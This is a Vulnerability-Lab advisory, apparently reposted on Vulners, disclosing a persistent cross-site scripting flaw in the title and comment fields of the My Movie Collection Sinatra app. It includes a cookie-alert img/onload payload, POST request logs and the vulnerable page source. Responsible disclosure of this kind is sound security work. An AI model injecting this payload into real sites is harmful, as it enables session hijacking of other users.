Lucene search
K

My Movie Collection Sinatra App - (Movie) XSS Vulnerability

My Movie Collection Sinatra app (Movie) XSS Vulnerability. Remote attackers can compromise browser requests through persistent cross site scripting

Code
Document Title:
===============
My Movie Collection Sinatra App - (Movie) XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2294


Release Date:
=============
2021-11-01


Vulnerability Laboratory ID (VL-ID):
====================================
2294


Common Vulnerability Scoring System:
====================================
5.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Welcome to My Movie Collection Sinatra web app where you can create, read, update, and delete movies that you own. 
Here you can build and keep track of your DVD/Blu-Ray collection. You can also add movie comments and date purchased.
The code is available as open source under the terms of the MIT License.

(Copy of the Homepage: https://github.com/jffernan/my-movie-collection )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the My Movie Collection Sinatra web-application.


Affected Product(s):
====================
James Fernandez
Product: My Movie Collection Sinatra app (v2017 & v2018)- Video Application (Web-Application) (Ruby)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-11-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent cross site web vulnerability has been discovered in the official My Movie Collection Sinatra v2018 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
browser to web-application requests from the application-side.

The persistent cross site scripting web vulnerability is located in the `title` and `comment` parameters of the `movies/new` module.
Authenticated remote attackers with user privileges are able to process manipulated post method requests for movie creates to inject 
own malicious script code with persistent attack vector. The request method to inject is post and the attack vector is located on 
the application-side. The execute of the payload occurs as well on preview of all videos by all users. 

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external 
redirects to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] movies/new

Vulnerable Input(s):
[+] Create New Movie Below:
[+] Description (Comment)

Vulnerable Parameter(s):
[+] title
[+] comment

Affected Module(s):
[+] movies


Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by remote attackers with user account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
"><img src="evil.source" onload="alert(document.cookie)" <


--- PoC Session Logs (POST) ---
https://sinatra-my-movie-collection.localhost:8000/movies
Host: sinatra-my-movie-collection.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------210716863231834847754001617875
Content-Length: 580
Origin: https://sinatra-my-movie-collection.localhost:8000
Connection: keep-alive
Referer: https://sinatra-my-movie-collection.localhost:8000/movies/new
Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0O
DljYWY2NTVmNGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFBYld4dnVKVVpxS1Bzd2hsNzVqZmNPZHg5MURR%0ATzBvRnEw
dnJOZklSaVVFPQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMD
AwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzO
WI1NWM1ZTAwOGNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpGw%3D%3D%0A--cbce7ee175a442b3be02b5a755e1b5809c788194
Post: title=test1"><img src="evil.source" onload="alert(document.cookie)" <&comment=test2"><img src="evil.source" onload="alert(document.cookie)" <&date_purchased=&image=
-
POST: HTTP/1.1 303 See Other 
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Location: https://sinatra-my-movie-collection.localhost:8000/movies/14
Content-Length: 0
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)
-
https://sinatra-my-movie-collection.localhost:8000/movies/14
Host: sinatra-my-movie-collection.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://sinatra-my-movie-collection.localhost:8000/movies/new
Connection: keep-alive
Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODlj
YWY2NTVmNGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFBYld4dnVKVVpxS1Bzd2hsNzVqZmNPZHg5MURR%0ATzBvRnEwdnJOZk
lSaVVFPQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0A
MTk1ODk5ZTVhNGYwBjsARkkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwO
GNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpGw%3D%3D%0A--cbce7ee175a442b3be02b5a755e1b5809c788194
-
POST: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Content-Length: 30
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)


Vulnerable Source: movies/all
<div class="container">
<h1>My Movie Collection</h1>
<h3>Here are all movies posted by users (Click on a 'link'):</h3>
<ul>
<li>
<a href="/movies/14">a"&gt;<img src="evil.source" onload="alert(document.cookie)">
</a> owned by    
demo
</li>
<li>
<a href="/movies/7">Avengers
</a> owned by
rwilson
</li>


Reference(s):
https://sinatra-my-movie-collection.localhost:8000/movies/[ID]
https://sinatra-my-movie-collection.localhost:8000/movies/new


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Nov 2021 00:00Current
0.6Low risk
Vulners AI Score0.6
72